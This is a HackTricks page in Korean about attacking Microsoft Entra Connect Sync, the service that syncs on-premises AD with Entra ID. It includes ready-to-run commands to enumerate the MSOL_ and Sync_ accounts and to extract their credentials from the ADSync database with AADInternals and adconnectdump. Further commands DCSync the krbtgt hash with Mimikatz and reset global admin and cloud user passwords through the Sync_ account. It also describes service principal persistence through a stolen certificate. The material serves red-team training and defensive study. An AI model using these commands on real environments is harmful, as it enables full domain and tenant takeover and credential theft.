Az - Connect Sync

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync)는 Microsoft Entra Connect의 주요 구성 요소입니다. 이 서비스는 온프레미스 환경과 Microsoft Entra ID 간의 아이덴티티 데이터를 동기화하는 모든 작업을 처리합니다.

동기화 서비스는 온프레미스의 Microsoft Entra Connect Sync 구성 요소와 Entra ID 쪽의 Microsoft Entra Connect Sync service라는 서비스 측 구성 요소, 이렇게 두 부분으로 구성됩니다.

이를 사용하려면 AD 환경 내의 서버에 Microsoft Entra Connect Sync 에이전트를 설치해야 합니다. 이 에이전트가 AD 측의 동기화를 담당합니다.

Connect Sync는 기본적으로 AD에서 Entra ID로 사용자를 동기화하는 "기존 방식"입니다. 새로 권장되는 방식은 Entra Cloud Sync를 사용하는 것입니다:

Az - Cloud Sync

생성된 Principals

  • 계정 MSOL_<installationID> 가 온프레미스 AD에 자동으로 생성됩니다. 이 계정에는 Directory Synchronization Accounts 역할이 부여되며(문서 참조) 이는 온프레미스 AD에서 replication (DCSync) 권한을 가진다는 의미입니다.
  • 따라서 이 계정을 탈취하면 온프레미스 도메인을 완전히 탈취할 수 있습니다.
  • 관리되는 서비스 계정 ADSyncMSA<id> 가 온프레미스 AD에 특별한 기본 권한 없이 생성됩니다.
  • Entra ID에는 인증서와 함께 Service Principal ConnectSyncProvisioning_ConnectSync_<id> 가 생성됩니다.

비밀번호 동기화

Password Hash Synchronization

이 구성요소는 AD에서 Entra ID로 비밀번호를 동기화하는 데에도 사용될 수 있어 사용자가 AD 비밀번호로 Entra ID에 로그인할 수 있게 합니다. 이를 위해서는 AD 서버에 설치된 Microsoft Entra Connect Sync 에이전트에서 password hash synchronization을 허용해야 합니다.

From the docs: Password hash synchronization은 하이브리드 아이덴티티를 구현하는 데 사용되는 sign-in 방법 중 하나입니다. Azure AD Connect는 온프레미스 Active Directory 인스턴스에서 클라우드 기반 Azure AD 인스턴스로 사용자의 비밀번호 해시의 해시를 동기화합니다.

기본적으로 모든 users와 **비밀번호 해시의 해시(hash of the password hashes)**가 온프레미스에서 Azure AD로 동기화됩니다. 다만 평문 비밀번호원본 해시는 Azure AD로 전송되지 않습니다.

해시 동기화는 대체로 2분마다 발생합니다. 그러나 기본적으로 비밀번호 만료(password expiry)계정 만료(account expiry) 는 Azure AD에 동기화되지 않습니다. 따라서 온프레미스에서 비밀번호가 만료된 사용자(비밀번호 변경 없이)는 기존 비밀번호로 계속해서 Azure 리소스에 접근할 수 있습니다.

온프레미스 사용자가 Azure 리소스에 접근할 때, 인증은 Azure AD에서 수행됩니다.

note

기본적으로 adminCount 속성이 1로 설정된 Domain Admins 같은 알려진 특권 그룹의 사용자들은 보안 이유로 Entra ID로 동기화되지 않습니다. 그러나 이 속성이 없거나 고유하게 높은 권한이 직접 할당된 다른 특권 사용자는 동기화될 수 있습니다.

Password Writeback

이 설정은 사용자가 Entra ID에서 비밀번호를 변경할 때 Entra ID에서 AD로 비밀번호를 동기화(write back) 하도록 허용합니다. password writeback이 작동하려면 AD에 자동 생성된 MSOL_<id> 사용자에게 문서에 명시된 추가 권한을 부여해야 하며, 그래야 AD의 어떤 사용자의 비밀번호든 수정할 수 있습니다.

이는 손상된 Entra ID에서 AD를 침해하는 데 특히 흥미로운 부분으로, 거의 모든 사용자의 비밀번호를 변경할 수 있게 해 AD를 장악할 수 있습니다.

도메인 관리자 및 일부 특권 그룹에 속한 다른 사용자들은 해당 그룹에 adminCount 속성이 1로 설정된 경우 복제되지 않습니다. 그러나 AD 내에서 어떤 그룹에 속하지 않더라도 직접 높은 권한이 할당된 다른 사용자들은 비밀번호가 변경될 수 있습니다. 예를 들면:

  • 직접 높은 권한이 할당된 사용자.
  • DNSAdmins 그룹의 사용자.
  • OU에 할당된 GPO를 생성한 Group Policy Creator Owners 그룹의 사용자로서 자신이 생성한 GPO를 수정할 수 있는 사용자.
  • Active Directory에 인증서를 게시할 수 있는 **Cert Publishers Group**의 사용자.
  • adminCount 속성이 1로 설정되지 않은 높은 권한을 가진 기타 그룹의 사용자들.

AD --> Entra ID로 피벗

Enumerating Connect Sync

사용자 확인:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Connect Sync 구성(있는 경우)을 확인하세요:

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

비밀번호 찾기

MSOL_* 사용자(및 생성된 경우 Sync_* 사용자)의 비밀번호는 Entra ID Connect가 설치된 서버의 SQL 서버에 저장되어 있습니다. 관리자는 해당 권한 사용자의 비밀번호를 평문으로 추출할 수 있습니다.
데이터베이스는 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf에 있습니다.

테이블 중 하나에서 구성을 추출할 수 있으며, 그중 하나는 암호화되어 있습니다:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

암호화된 구성DPAPI로 암호화되어 있으며, 온프레미스 AD의 MSOL_* 사용자 비밀번호와 AzureAD의 Sync_* 비밀번호를 포함합니다. 따라서 이를 탈취하면 AD와 AzureAD에 대해 privesc가 가능합니다.

You can find a full overview of how these credentials are stored and decrypted in this talk.

MSOL_* 악용

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

이전 공격들은 다른 암호를 탈취해 Sync_*라는 Entra ID 사용자로 연결한 뒤 Entra ID를 침해했습니다. 그러나 이 사용자는 더 이상 존재하지 않습니다.

악용 ConnectSyncProvisioning_ConnectSync_

이 애플리케이션은 Entra ID나 Azure 관리 역할이 할당되지 않은 상태로 생성됩니다. 그러나 다음과 같은 API 권한을 가지고 있습니다:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

이 애플리케이션의 SP는 문서화되지 않은 API를 사용해 여전히 일부 권한 있는 작업을 수행하는 데 사용될 수 있다고 언급되었지만, 제가 아는 한 아직 PoC는 발견되지 않았습니다.
어쨌든 가능성이 있다고 생각되므로, 이 service principal로 로그인할 인증서를 찾아 악용을 시도하는 방법을 더 조사해볼 가치가 있습니다.

blog postSync_* 사용자에서 이 service principal로의 변경 직후에 공개되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾아 PoP (Proof of Possession)와 graph token을 생성할 수 있었고, 이를 통해 service principal에 새 인증서를 추가할 수 있었다(왜냐하면 service principal은 항상 자신에게 새 인증서를 할당할 수 있기 때문) 그리고 이를 SP로서 지속성을 유지하는 데 사용했습니다.

이러한 작업을 수행하기 위해 다음 도구가 공개되었습니다: SharpECUtils.

질문에 따르면 인증서를 찾기 위해서는 도구를 miiserver 프로세스의 토큰을 탈취한 프로세스에서 실행해야 합니다.

악용 Sync_* [사용 중단]

warning

이전에는 Sync_*라는 사용자가 Entra ID에 매우 민감한 권한과 함께 생성되어 모든 사용자 비밀번호 변경이나 service principal에 새 자격 증명을 추가하는 등 특권 작업을 수행할 수 있었습니다. 그러나 Jan2025부터는 이제 Application/SP **ConnectSyncProvisioning_ConnectSync_<id>**가 사용되므로 이 사용자가 기본적으로 더 이상 생성되지 않습니다. 다만 일부 환경에서는 여전히 존재할 수 있으니 확인해볼 가치가 있습니다.

Sync_* 계정을 침해하면 모든 사용자(글로벌 관리자 포함)의 비밀번호를 재설정할 수 있습니다

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

또한 예상치 못하더라도 클라우드 사용자들의 비밀번호만 수정할 수 있습니다.

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

이 사용자의 비밀번호를 덤프하는 것도 가능합니다.

caution

다른 옵션으로는 assign privileged permissions to a service principal, 이는 Sync 사용자가 permissions을 수행할 수 있으며, 그 후 access that service principal 하여 privesc를 수행하는 방법입니다.

Seamless SSO

Seamless SSO를 PHS와 함께 사용할 수 있으며, 이는 다른 악용에 취약합니다. 자세한 내용은 다음을 확인하세요:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • password writeback이 활성화되어 있으면, Entra ID와 동기화된 AD의 임의 사용자 암호를 수정할 수 있습니다.
  • groups writeback이 활성화되어 있으면, AD와 동기화된 Entra ID에서 권한 있는 그룹에 사용자를 추가할 수 있습니다.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기